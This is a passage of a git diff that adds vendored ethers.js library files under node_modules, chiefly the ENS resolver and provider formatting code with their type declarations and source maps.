AAG,EAAG,CAAC;KAAE;IAEvC,MAAM,YAAY,GAAG,CAA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QAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC;KAAE;IAE3D,OAAO,IAAI,gBAAgB,CAAC,SAAS,EAAE,SAAS,EAAE,EAAE,MAAM,EAAE,CAAC,CAAC;AAClE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ens-resolver.d.ts b/node_modules/ethers/lib.esm/providers/ens-resolver.d.ts new file mode 100644 index 000000000000..8c3b37fe739a --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ens-resolver.d.ts @@ -0,0 +1,147 @@ +/** + * ENS is a service which allows easy-to-remember names to map to + * network addresses. + * + * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver] + */ +import type { BytesLike } from "../utils/index.js"; +import type { AbstractProvider, AbstractProviderPlugin } from "./abstract-provider.js"; +import type { Provider } from "./provider.js"; +/** + * The type of data found during a steip during avatar resolution. + */ +export type AvatarLinkageType = "name" | "avatar" | "!avatar" | "url" | "data" | "ipfs" | "erc721" | "erc1155" | "!erc721-caip" | "!erc1155-caip" | "!owner" | "owner" | "!balance" | "balance" | "metadata-url-base" | "metadata-url-expanded" | "metadata-url" | "!metadata-url" | "!metadata" | "metadata" | "!imageUrl" | "imageUrl-ipfs" | "imageUrl" | "!imageUrl-ipfs"; +/** + * An individual record for each step during avatar resolution. + */ +export interface AvatarLinkage { + /** + * The type of linkage. + */ + type: AvatarLinkageType; + /** + * The linkage value. + */ + value: string; +} +/** + * When resolving an avatar for an ENS name, there are many + * steps involved, fetching metadata, validating results, et cetera. + * + * Some applications may wish to analyse this data, or use this data + * to diagnose promblems, so an **AvatarResult** provides details of + * each completed step during avatar resolution. + */ +export interface AvatarResult { + /** + * How the [[url]] was arrived at, resolving the many steps required + * for an avatar URL. + */ + linkage: Array; + /** + * The avatar URL or null if the avatar was not set, or there was + * an issue during validation (such as the address not owning the + * avatar or a metadata error). + */ + url: null | string; +} +/** + * A provider plugin super-class for processing multicoin address types. + */ +export declare abstract class MulticoinProviderPlugin implements AbstractProviderPlugin { + /** + * The name. + */ + readonly name: string; + /** + * Creates a new **MulticoinProviderPluing** for %%name%%. + */ + constructor(name: string); + connect(proivder: Provider): MulticoinProviderPlugin; + /** + * Returns ``true`` if %%coinType%% is supported by this plugin. + */ + supportsCoinType(coinType: number): boolean; + /** + * Resolves to the encoded %%address%% for %%coinType%%. + */ + encodeAddress(coinType: number, address: string): Promise; + /** + * Resolves to the decoded %%data%% for %%coinType%%. + */ + decodeAddress(coinType: number, data: BytesLike): Promise; +} +/** + * A **BasicMulticoinProviderPlugin** provides service for common + * coin types, which do not require additional libraries to encode or + * decode. + */ +export declare class BasicMulticoinProviderPlugin extends MulticoinProviderPlugin { + /** + * Creates a new **BasicMulticoinProviderPlugin**. + */ + constructor(); +} +/** + * A connected object to a resolved ENS name resolver, which can be + * used to query additional details. + */ +export declare class EnsResolver { + #private; + /** + * The connected provider. + */ + provider: AbstractProvider; + /** + * The address of the resolver. + */ + address: string; + /** + * The name this resolver was resolved against. + */ + name: string; + constructor(provider: AbstractProvider, address: string, name: string); + /** + * Resolves to true if the resolver supports wildcard resolution. + */ + supportsWildcard(): Promise; + /** + * Resolves to the address for %%coinType%% or null if the + * provided %%coinType%% has not been configured. + */ + getAddress(coinType?: number): Promise; + /** + * Resolves to the EIP-634 text record for %%key%%, or ``null`` + * if unconfigured. + */ + getText(key: string): Promise; + /** + * Rsolves to the content-hash or ``null`` if unconfigured. + */ + getContentHash(): Promise; + /** + * Resolves to the avatar url or ``null`` if the avatar is either + * unconfigured or incorrectly configured (e.g. references an NFT + * not owned by the address). + * + * If diagnosing issues with configurations, the [[_getAvatar]] + * method may be useful. + */ + getAvatar(): Promise; + /** + * When resolving an avatar, there are many steps involved, such + * fetching metadata and possibly validating ownership of an + * NFT. + * + * This method can be used to examine each step and the value it + * was working from. + */ + _getAvatar(): Promise; + static getEnsAddress(provider: Provider): Promise; + /** + * Resolve to the ENS resolver for %%name%% using %%provider%% or + * ``null`` if unconfigured. + */ + static fromName(provider: AbstractProvider, name: string): Promise; +} +//# sourceMappingURL=ens-resolver.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ens-resolver.d.ts.map b/node_modules/ethers/lib.esm/providers/ens-resolver.d.ts.map new file mode 100644 index 000000000000..5bbaa89f0986 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ens-resolver.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ens-resolver.d.ts","sourceRoot":"","sources":["../../src.ts/providers/ens-resolver.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAeH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD,OAAO,KAAK,EAAE,gBAAgB,EAAE,sBAAsB,EAAE,MAAM,wBAAwB,CAAC;AAEvF,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAgB9C;;GAEG;AACH,MAAM,MAAM,iBAAiB,GAAG,MAAM,GAAG,QAAQ,GAAG,SAAS,GAAG,KAAK,GAAG,MAAM,GAAG,MAAM,GACnF,QAAQ,GAAG,SAAS,GAAG,cAAc,GAAG,eAAe,GACvD,QAAQ,GAAG,OAAO,GAAG,UAAU,GAAG,SAAS,GAC3C,mBAAmB,GAAG,uBAAuB,GAAG,cAAc,GAAG,eAAe,GAChF,WAAW,GAAG,UAAU,GACxB,WAAW,GAAG,eAAe,GAAG,UAAU,GAAG,gBAAgB,CAAC;AAElE;;GAEG;AACH,MAAM,WAAW,aAAa;IAC1B;;OAEG;IACH,IAAI,EAAE,iBAAiB,CAAC;IAExB;;OAEG;IACH,KAAK,EAAE,MAAM,CAAC;CACjB;AAED;;;;;;;GAOG;AACH,MAAM,WAAW,YAAY;IACzB;;;OAGG;IACH,OAAO,EAAE,KAAK,CAAC,aAAa,CAAC,CAAC;IAE9B;;;;OAIG;IACH,GAAG,EAAE,IAAI,GAAG,MAAM,CAAC;CACtB;AAED;;GAEG;AACH,8BAAsB,uBAAwB,YAAW,sBAAsB;IAC3E;;OAEG;IAC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AO,CAAC,MAAM,CAAC;IAoC/D;;;OAGG;WACU,QAAQ,CAAC,QAAQ,EAAE,gBAAgB,EAAE,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,WAAW,CAAC;CA2B/F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ens-resolver.js b/node_modules/ethers/lib.esm/providers/ens-resolver.js new file mode 100644 index 000000000000..5c92bfe84ff6 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ens-resolver.js @@ -0,0 +1,496 @@ +/** + * ENS is a service which allows easy-to-remember names to map to + * network addresses. + * + * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver] + */ +import { getAddress } from "../address/index.js"; +import { ZeroAddress } from "../constants/index.js"; +import { Contract } from "../contract/index.js"; +import { dnsEncode, namehash } from "../hash/index.js"; +import { hexlify, isHexString, toBeHex, defineProperties, encodeBase58, assert, assertArgument, isError, FetchRequest } from "../utils/index.js"; +// @TODO: This should use the fetch-data:ipfs gateway +// Trim off the ipfs:// prefix and return the default gateway URL +function getIpfsLink(link) { + if (link.match(/^ipfs:\/\/ipfs\//i)) { + link = link.substring(12); + } + else if (link.match(/^ipfs:\/\//i)) { + link = link.substring(7); + } + else { + assertArgument(false, "unsupported IPFS format", "link", link); + } + return `https:/\/gateway.ipfs.io/ipfs/${link}`; +} +; +; +/** + * A provider plugin super-class for processing multicoin address types. + */ +export class MulticoinProviderPlugin { + /** + * The name. + */ + name; + /** + * Creates a new **MulticoinProviderPluing** for %%name%%. + */ + constructor(name) { + defineProperties(this, { name }); + } + connect(proivder) { + return this; + } + /** + * Returns ``true`` if %%coinType%% is supported by this plugin. + */ + supportsCoinType(coinType) { + return false; + } + /** + * Resolves to the encoded %%address%% for %%coinType%%. + */ + async encodeAddress(coinType, address) { + throw new Error("unsupported coin"); + } + /** + * Resolves to the decoded %%data%% for %%coinType%%. + */ + async decodeAddress(coinType, data) { + throw new Error("unsupported coin"); + } +} +const BasicMulticoinPluginId = "org.ethers.plugins.provider.BasicMulticoin"; +/** + * A **BasicMulticoinProviderPlugin** provides service for common + * coin types, which do not require additional libraries to encode or + * decode. + */ +export class BasicMulticoinProviderPlugin extends MulticoinProviderPlugin { + /** + * Creates a new **BasicMulticoinProviderPlugin**. + */ + constructor() { + super(BasicMulticoinPluginId); + } +} +const matcherIpfs = new RegExp("^(ipfs):/\/(.*)$", "i"); +const matchers = [ + new RegExp("^(https):/\/(.*)$", "i"), + new RegExp("^(data):(.*)$", "i"), + matcherIpfs, + new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$", "i"), +]; +/** + * A connected object to a resolved ENS name resolver, which can be + * used to query additional details. + */ +export class EnsResolver { + /** + * The connected provider. + */ + provider; + /** + * The address of the resolver. + */ + address; + /** + * The name this resolver was resolved against. + */ + name; + // For EIP-2544 names, the ancestor that provided the resolver + #supports2544; + #resolver; + constructor(provider, address, name) { + defineProperties(this, { provider, address, name }); + this.#supports2544 = null; + this.#resolver = new Contract(address, [ + "function supportsInterface(bytes4) view returns (bool)", + "function resolve(bytes, bytes) view returns (bytes)", + "function addr(bytes32) view returns (address)", + "function addr(bytes32, uint) view returns (bytes)", + "function text(bytes32, string) view returns (string)", + "function contenthash(bytes32) view returns (bytes)", + ], provider); + } + /** + * Resolves to true if the resolver supports wildcard resolution. + */ + async supportsWildcard() { + if (this.#supports2544 == null) { + this.#supports2544 = (async () => { + try { + return await this.#resolver.supportsInterface("0x9061b923"); + } + catch (error) { + // Wildcard resolvers must understand supportsInterface + // and return true. + if (isError(error, "CALL_EXCEPTION")) { + return false; + } + // Let future attempts try again... + this.#supports2544 = null; + throw error; + } + })(); + } + return await this.#supports2544; + } + async #fetch(funcName, params) { + params = (params || []).slice(); + const iface = this.#resolver.interface; + // The first parameters is always the nodehash + params.unshift(namehash(this.name)); + let fragment = null; + if (await this.supportsWildcard()) { + fragment = iface.getFunction(funcName); + assert(fragment, "missing fragment", "UNKNOWN_ERROR", { + info: { funcName } + }); + params = [ + dnsEncode(this.name, 255), + iface.encodeFunctionData(fragment, params) + ]; + funcName = "resolve(bytes,bytes)"; + } + params.push({ + enableCcipRead: true + }); + try { + const result = await this.#resolver[funcName](...params); + if (fragment) { + return iface.decodeFunctionResult(fragment, result)[0]; + } + return result; + } + catch (error) { + if (!isError(error, "CALL_EXCEPTION")) { + throw error; + } + } + return null; + } + /** + * Resolves to the address for %%coinType%% or null if the + * provided %%coinType%% has not been configured. + */ + async getAddress(coinType) { + if (coinType == null) { + coinType = 60; + } + if (coinType === 60) { + try { + const result = await this.#fetch("addr(bytes32)"); + // No address + if (result == null || result === ZeroAddress) { + return null; + } + return result; + } + catch (error) { + if (isError(error, "CALL_EXCEPTION")) { + return null; + } + throw error; + } + } + // Try decoding its EVM canonical chain as an EVM chain address first + if (coinType >= 0 && coinType < 0x80000000) { + let ethCoinType = coinType + 0x80000000; + const data = await this.#fetch("addr(bytes32,uint)", [ethCoinType]); + if (isHexString(data, 20)) { + return getAddress(data); + } + } + let coinPlugin = null; + for (const plugin of this.provider.plugins) { + if (!(plugin instanceof MulticoinProviderPlugin)) { + continue; + } + if (plugin.supportsCoinType(coinType)) { + coinPlugin = plugin; + break; + } + } + if (coinPlugin == null) { + return null; + } + // keccak256("addr(bytes32,uint256") + const data = await this.#fetch("addr(bytes32,uint)", [coinType]); + // No address + if (data == null || data === "0x") { + return null; + } + // Compute the address + const address = await coinPlugin.decodeAddress(coinType, data); + if (address != null) { + return address; + } + assert(false, `invalid coin data`, "UNSUPPORTED_OPERATION", { + operation: `getAddress(${coinType})`, + info: { coinType, data } + }); + } + /** + * Resolves to the EIP-634 text record for %%key%%, or ``null`` + * if unconfigured. + */ + async getText(key) { + const data = await this.#fetch("text(bytes32,string)", [key]); + if (data == null || data === "0x") { + return null; + } + return data; + } + /** + * Rsolves to the content-hash or ``null`` if unconfigured. + */ + async getContentHash() { + // keccak256("contenthash()") + const data = await this.#fetch("contenthash(bytes32)"); + // No contenthash + if (data == null || data === "0x") { + return null; + } + // IPFS (CID: 1, Type: 70=DAG-PB, 72=libp2p-key) + const ipfs = data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); + if (ipfs) { + const scheme = (ipfs[1] === "e3010170") ? "ipfs" : "ipns"; + const length = parseInt(ipfs[4], 16); + if (ipfs[5].length === length * 2) { + return `${scheme}:/\/${encodeBase58("0x" + ipfs[2])}`; + } + } + // Swarm (CID: 1, Type: swarm-manifest; hash/length hard-coded to keccak256/32) + const swarm = data.match(/^0xe40101fa011b20([0-9a-f]*)$/); + if (swarm && swarm[1].length === 64) { + return `bzz:/\/${swarm[1]}`; + } + assert(false, `invalid or unsupported content hash data`, "UNSUPPORTED_OPERATION", { + operation: "getContentHash()", + info: { data } + }); + } + /** + * Resolves to the avatar url or ``null`` if the avatar is either + * unconfigured or incorrectly configured (e.g. references an NFT + * not owned by the address). + * + * If diagnosing issues with configurations, the [[_getAvatar]] + * method may be useful. + */ + async getAvatar() { + const avatar = await this._getAvatar(); + return avatar.url; + } + /** + * When resolving an avatar, there are many steps involved, such + * fetching metadata and possibly validating ownership of an + * NFT. + * + * This method can be used to examine each step and the value it + * was working from. + */ + async _getAvatar() { + const linkage = [{ type: "name", value: this.name }]; + try { + // test data for ricmoo.eth + //const avatar = "eip155:1/erc721:0x265385c7f4132228A0d54EB1A9e7460b91c0cC68/29233"; + const avatar = await this.getText("avatar"); + if (avatar == null) { + linkage.push({ type: "!avatar", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "avatar", value: avatar }); + for (let i = 0; i < matchers.length; i++) { + const match = avatar.match(matchers[i]); + if (match == null) { + continue; + } + const scheme = match[1].toLowerCase(); + switch (scheme) { + case "https": + case "data": + linkage.push({ type: "url", value: avatar }); + return { linkage, url: avatar }; + case "ipfs": { + const url = getIpfsLink(avatar); + linkage.push({ type: "ipfs", value: avatar }); + linkage.push({ type: "url", value: url }); + return { linkage, url }; + } + case "erc721": + case "erc1155": { + // Depending on the ERC type, use tokenURI(uint256) or url(uint256) + const selector = (scheme === "erc721") ? "tokenURI(uint256)" : "uri(uint256)"; + linkage.push({ type: scheme, value: avatar }); + // The owner of this name + const owner = await this.getAddress(); + if (owner == null) { + linkage.push({ type: "!owner", value: "" }); + return { url: null, linkage }; + } + const comps = (match[2] || "").split("/"); + if (comps.length !== 2) { + linkage.push({ type: `!${scheme}caip`, value: (match[2] || "") }); + return { url: null, linkage }; + } + const tokenId = comps[1]; + const contract = new Contract(comps[0], [ + // ERC-721 + "function tokenURI(uint) view returns (string)", + "function ownerOf(uint) view returns (address)", + // ERC-1155 + "function uri(uint) view returns (string)", + "function balanceOf(address, uint256) view returns (uint)" + ], this.provider); + // Check that this account owns the token + if (scheme === "erc721") { + const tokenOwner = await contract.ownerOf(tokenId); + if (owner !== tokenOwner) { + linkage.push({ type: "!owner", value: tokenOwner }); + return { url: null, linkage }; + } + linkage.push({ type: "owner", value: tokenOwner }); + } + else if (scheme === "erc1155") { + const balance = await contract.balanceOf(owner, tokenId); + if (!balance) { + linkage.push({ type: "!balance", value: "0" }); + return { url: null, linkage }; + } + linkage.push({ type: "balance", value: balance.toString() }); + } + // Call the token contract for the metadata URL + let metadataUrl = await contract[selector](tokenId); + if (metadataUrl == null || metadataUrl === "0x") { + linkage.push({ type: "!metadata-url", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "metadata-url-base", value: metadataUrl }); + // ERC-1155 allows a generic {id} in the URL + if (scheme === "erc1155") { + metadataUrl = metadataUrl.replace("{id}", toBeHex(tokenId, 32).substring(2)); + linkage.push({ type: "metadata-url-expanded", value: metadataUrl }); + } + // Transform IPFS metadata links + if (metadataUrl.match(/^ipfs:/i)) { + metadataUrl = getIpfsLink(metadataUrl); + } + linkage.push({ type: "metadata-url", value: metadataUrl }); + // Get the token metadata + let metadata = {}; + const response = await (new FetchRequest(metadataUrl)).send(); + response.assertOk(); + try { + metadata = response.bodyJson; + } + catch (error) { + try { + linkage.push({ type: "!metadata", value: response.bodyText }); + } + catch (error) { + const bytes = response.body; + if (bytes) { + linkage.push({ type: "!metadata", value: hexlify(bytes) }); + } + return { url: null, linkage }; + } + return { url: null, linkage }; + } + if (!metadata) { + linkage.push({ type: "!metadata", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "metadata", value: JSON.stringify(metadata) }); + // Pull the image URL out + let imageUrl = metadata.image; + if (typeof (imageUrl) !== "string") { + linkage.push({ type: "!imageUrl", value: "" }); + return { url: null, linkage }; + } + if (imageUrl.match(/^(https:\/\/|data:)/i)) { + // Allow + } + else { + // Transform IPFS link to gateway + const ipfs = imageUrl.match(matcherIpfs); + if (ipfs == null) { + linkage.push({ type: "!imageUrl-ipfs", value: imageUrl }); + return { url: null, linkage }; + } + linkage.push({ type: "imageUrl-ipfs", value: imageUrl }); + imageUrl = getIpfsLink(imageUrl); + } + linkage.push({ type: "url", value: imageUrl }); + return { linkage, url: imageUrl }; + } + } + } + } + catch (error) { } + return { linkage, url: null }; + } + static async getEnsAddress(provider) { + const network = await provider.getNetwork(); + const ensPlugin = network.getPlugin("org.ethers.plugins.network.Ens"); + // No ENS... + assert(ensPlugin, "network does not support ENS", "UNSUPPORTED_OPERATION", { + operation: "getEnsAddress", info: { network } + }); + return ensPlugin.address; + } + static async #getResolver(provider, name) { + const ensAddr = await EnsResolver.getEnsAddress(provider); + try { + const contract = new Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], provider); + const addr = await contract.resolver(namehash(name), { + enableCcipRead: true + }); + if (addr === ZeroAddress) { + return null; + } + return addr; + } + catch (error) { + // ENS registry cannot throw errors on resolver(bytes32), + // so probably a link error + throw error; + } + return null; + } + /** + * Resolve to the ENS resolver for %%name%% using %%provider%% or + * ``null`` if unconfigured. + */ + static async fromName(provider, name) { + let currentName = name; + while (true) { + if (currentName === "" || currentName === ".") { + return null; + } + // Optimization since the eth node cannot change and does + // not have a wildcard resolver + if (name !== "eth" && currentName === "eth") { + return null; + } + // Check the current node for a resolver + const addr = await EnsResolver.#getResolver(provider, currentName); + // Found a resolver! + if (addr != null) { + const resolver = new EnsResolver(provider, addr, name); + // Legacy resolver found, using EIP-2544 so it isn't safe to use + if (currentName !== name && !(await resolver.supportsWildcard())) { + return null; + } + return resolver; + } + // Get the parent node + currentName = currentName.split(".").slice(1).join("."); + } + } +} +//# sourceMappingURL=ens-resolver.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/ens-resolver.js.map b/node_modules/ethers/lib.esm/providers/ens-resolver.js.map new file mode 100644 index 000000000000..aea50a8448d3 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/ens-resolver.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ens-resolver.js","sourceRoot":"","sources":["../../src.ts/providers/ens-resolver.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,WAAW,EAAE,MAAM,uBAAuB,CAAC;AACpD,OAAO,EAAE,QAAQ,EAAE,MAAM,sBAAsB,CAAC;AAChD,OAAO,EAAE,SAAS,EAAE,QAAQ,EAAE,MAAM,kBAAkB,CAAC;AACvD,OAAO,EACH,OAAO,EAAE,WAAW,EAAE,OAAO,EAC7B,gBAAgB,EAAE,YAAY,EAC9B,MAAM,EAAE,cAAc,EAAE,OAAO,EAC/B,YAAY,EACf,MAAM,mBAAmB,CAAC;AAU3B,qDAAqD;AACrD,iEAAiE;AACjE,SAAS,WAAW,CAAC,IAAY;IAC7B,IAAI,IAAI,CAAC,KAAK,CAAC,mBAAmB,CAAC,EAAE;QACjC,IAAI,GAAG,IAAI,CAAC,SAAS,CAAC,EAAE,CAAC,CAAC;KAC7B;SAAM,IAAI,IAAI,CAAC,KAAK,CAAC,aAAa,CAAC,EAAE;QAClC,IAAI,GAAG,IAAI,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;KAC5B;SAAM;QACH,cAAc,CAAC,KAAK,EAAE,yBAAyB,EAAE,MAAM,EAAE,IAAI,CAA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AO,IAAI,CAAC;aAAE;YAE7D,wCAAwC;YACxC,MAAM,IAAI,GAAG,MAAM,WAAW,CAAC,YAAY,CAAC,QAAQ,EAAE,WAAW,CAAC,CAAC;YAEnE,oBAAoB;YACpB,IAAI,IAAI,IAAI,IAAI,EAAE;gBACd,MAAM,QAAQ,GAAG,IAAI,WAAW,CAAC,QAAQ,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;gBAEvD,gEAAgE;gBAChE,IAAI,WAAW,KAAK,IAAI,IAAI,CAAC,CAAC,MAAM,QAAQ,CAAC,gBAAgB,EAAE,CAAC,EAAE;oBAAE,OAAO,IAAI,CAAC;iBAAE;gBAElF,OAAO,QAAQ,CAAC;aACnB;YAED,sBAAsB;YACtB,WAAW,GAAG,WAAW,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;SAC3D;IACL,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/format.d.ts b/node_modules/ethers/lib.esm/providers/format.d.ts new file mode 100644 index 000000000000..0967704ef3be --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/format.d.ts @@ -0,0 +1,15 @@ +import type { BlockParams, LogParams, TransactionReceiptParams, TransactionResponseParams } from "./formatting.js"; +export type FormatFunc = (value: any) => any; +export declare function allowNull(format: FormatFunc, nullValue?: any): FormatFunc; +export declare function arrayOf(format: FormatFunc, allowNull?: boolean): FormatFunc; +export declare function object(format: Record, altNames?: Record>): FormatFunc; +export declare function formatBoolean(value: any): boolean; +export declare function formatData(value: string): string; +export declare function formatHash(value: any): string; +export declare function formatUint256(value: any): string; +export declare function formatLog(value: any): LogParams; +export declare function formatBlock(value: any): BlockParams; +export declare function formatReceiptLog(value: any): LogParams; +export declare function formatTransactionReceipt(value: any): TransactionReceiptParams; +export declare function formatTransactionResponse(value: any): TransactionResponseParams; +//# sourceMappingURL=format.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/format.d.ts.map b/node_modules/ethers/lib.esm/providers/format.d.ts.map new file mode 100644 index 000000000000..00537f2b9999 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/format.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"format.d.ts","sourceRoot":"","sources":["../../src.ts/providers/format.ts"],"names":[],"mappings":"AAYA,OAAO,KAAK,EACR,WAAW,EAAE,SAAS,EACtB,wBAAwB,EAAE,yBAAyB,EACtD,MAAM,iBAAiB,CAAC;AAKzB,MAAM,MAAM,UAAU,GAAG,CAAC,KAAK,EAAE,GAAG,KAAK,GAAG,CAAC;AAE7C,wBAAgB,SAAS,CAAC,MAAM,EAAE,UAAU,EAAE,SAAS,CAAC,EAAE,GAAG,GAAG,UAAU,CAKzE;AAED,wBAAgB,OAAO,CAAC,MAAM,EAAE,UAAU,EAAE,SAAS,CAAC,EAAE,OAAO,GAAG,UAAU,CAM3E;AAKD,wBAAgB,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,MAAM,EAAE,UAAU,CAAC,EAAE,QAAQ,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,MAAM,CAAC,CAAC,GAAG,UAAU,CAwB/G;AAED,wBAAgB,aAAa,CAAC,KAAK,EAAE,GAAG,GAAG,OAAO,CAQjD;AAED,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAGhD;AAED,wBAAgB,UAAU,CAAC,KAAK,EAAE,GAAG,GAAG,MAAM,CAG7C;AAED,wBAAgB,aAAa,CAAC,KAAK,EAAE,GAAG,GAAG,MAAM,CAKhD;AAgBD,wBAAgB,SAAS,CAAC,KAAK,EAAE,GAAG,GAAG,SAAS,CAE/C;AA+BD,wBAAgB,WAAW,CAAC,KAAK,EAAE,GAAG,GAAG,WAAW,CAOnD;AAeD,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,GAAG,GAAG,SAAS,CAEtD;AA4BD,wBAAgB,wBAAwB,CAAC,KAAK,EAAE,GAAG,GAAG,wBAAwB,CAE7E;AAED,wBAAgB,yBAAyB,CAAC,KAAK,EAAE,GAAG,GAAG,yBAAyB,CA0I/E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/format.js b/node_modules/ethers/lib.esm/providers/format.js new file mode 100644 index 000000000000..957a77775328 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/format.js @@ -0,0 +1,297 @@ +/** + * @_ignore + */ +import { getAddress, getCreateAddress } from "../address/index.js"; +import { Signature } from "../crypto/index.js"; +import { accessListify } from "../transaction/index.js"; +import { getBigInt, getNumber, hexlify, isHexString, zeroPadValue, assert, assertArgument } from "../utils/index.js"; +const BN_0 = BigInt(0); +export function allowNull(format, nullValue) { + return (function (value) { + if (value == null) { + return nullValue; + } + return format(value); + }); +} +export function arrayOf(format, allowNull) { + return ((array) => { + if (allowNull && array == null) { + return null; + } + if (!Array.isArray(array)) { + throw new Error("not an array"); + } + return array.map((i) => format(i)); + }); +} +// Requires an object which matches a fleet of other formatters +// Any FormatFunc may return `undefined` to have the value omitted +// from the result object. Calls preserve `this`. +export function object(format, altNames) { + return ((value) => { + const result = {}; + for (const key in format) { + let srcKey = key; + if (altNames && key in altNames && !(srcKey in value)) { + for (const altKey of altNames[key]) { + if (altKey in value) { + srcKey = altKey; + break; + } + } + } + try { + const nv = format[key](value[srcKey]); + if (nv !== undefined) { + result[key] = nv; + } + } + catch (error) { + const message = (error instanceof Error) ? error.message : "not-an-error"; + assert(false, `invalid value for value.${key} (${message})`, "BAD_DATA", { value }); + } + } + return result; + }); +} +export function formatBoolean(value) { + switch (value) { + case true: + case "true": + return true; + case false: + case "false": + return false; + } + assertArgument(false, `invalid boolean; ${JSON.stringify(value)}`, "value", value); +} +export function formatData(value) { + assertArgument(isHexString(value, true), "invalid data", "value", value); + return value; +} +export function formatHash(value) { + assertArgument(isHexString(value, 32), "invalid hash", "value", value); + return value; +} +export function formatUint256(value) { + if (!isHexString(value)) { + throw new Error("invalid uint256"); + } + return zeroPadValue(value, 32); +} +const _formatLog = object({ + address: getAddress, + blockHash: formatHash, + blockNumber: getNumber, + data: formatData, + index: getNumber, + removed: allowNull(formatBoolean, false), + topics: arrayOf(formatHash), + transactionHash: formatHash, + transactionIndex: getNumber, +}, { + index: ["logIndex"] +}); +export function formatLog(value) { + return _formatLog(value); +} +const _formatBlock = object({ + hash: allowNull(formatHash), + parentHash: formatHash, + parentBeaconBlockRoot: allowNull(formatHash, null), + number: getNumber, + timestamp: getNumber, + nonce: allowNull(formatData), + difficulty: getBigInt, + gasLimit: getBigInt, + gasUsed: getBigInt, + stateRoot: allowNull(formatHash, null), + receiptsRoot: allowNull(formatHash, null), + blobGasUsed: allowNull(getBigInt, null), + excessBlobGas: allowNull(getBigInt, null), + miner: allowNull(getAddress), + prevRandao: allowNull(formatHash, null), + extraData: formatData, + baseFeePerGas: allowNull(getBigInt) +}, { + prevRandao: ["mixHash"] +}); +export function formatBlock(value) { + const result = _formatBlock(value); + result.transactions = value.transactions.map((tx) => { + if (typeof (tx) === "string") { + return tx; + } + return formatTransactionResponse(tx); + }); + return result; +} +const _formatReceiptLog = object({ + transactionIndex: getNumber, + blockNumber: getNumber, + transactionHash: formatHash, + address: getAddress, + topics: arrayOf(formatHash), + data: formatData, + index: getNumber, + blockHash: formatHash, +}, { + index: ["logIndex"] +}); +export function formatReceiptLog(value) { + return _formatReceiptLog(value); +} +const _formatTransactionReceipt = object({ + to: allowNull(getAddress, null), + from: allowNull(getAddress, null), + contractAddress: allowNull(getAddress, null), + // should be allowNull(hash), but broken-EIP-658 support is handled in receipt + index: getNumber, + root: allowNull(hexlify), + gasUsed: getBigInt, + blobGasUsed: allowNull(getBigInt, null), + logsBloom: allowNull(formatData), + blockHash: formatHash, + hash: formatHash, + logs: arrayOf(formatReceiptLog), + blockNumber: getNumber, + //confirmations: allowNull(getNumber, null), + cumulativeGasUsed: getBigInt, + effectiveGasPrice: allowNull(getBigInt), + blobGasPrice: allowNull(getBigInt, null), + status: allowNull(getNumber), + type: allowNull(getNumber, 0) +}, { + effectiveGasPrice: ["gasPrice"], + hash: ["transactionHash"], + index: ["transactionIndex"], +}); +export function formatTransactionReceipt(value) { + return _formatTransactionReceipt(value); +} +export function formatTransactionResponse(value) { + // Some clients (TestRPC) do strange things like return 0x0 for the + // 0 address; correct this to be a real address + if (value.to && getBigInt(value.to) === BN_0) { + value.to = "0x0000000000000000000000000000000000000000"; + } + const result = object({ + hash: formatHash, + // Some nodes do not return this, usually test nodes (like Ganache) + index: allowNull(getNumber, undefined), + type: (value) => { + if (value === "0x" || value == null) { + return 0; + } + return getNumber(value); + }, + accessList: allowNull(accessListify, null), + blobVersionedHashes: allowNull(arrayOf(formatHash, true), null), + authorizationList: allowNull(arrayOf((v) => { + let sig; + if (v.signature) { + sig = v.signature; + } + else { + let yParity = v.yParity; + if (yParity === "0x1b") { + yParity = 0; + } + else if (yParity === "0x1c") { + yParity = 1; + } + sig = Object.assign({}, v, { yParity }); + } + return { + address: getAddress(v.address), + chainId: getBigInt(v.chainId), + nonce: getBigInt(v.nonce), + signature: Signature.from(sig) + }; + }, false), null), + blockHash: allowNull(formatHash, null), + blockNumber: allowNull(getNumber, null), + 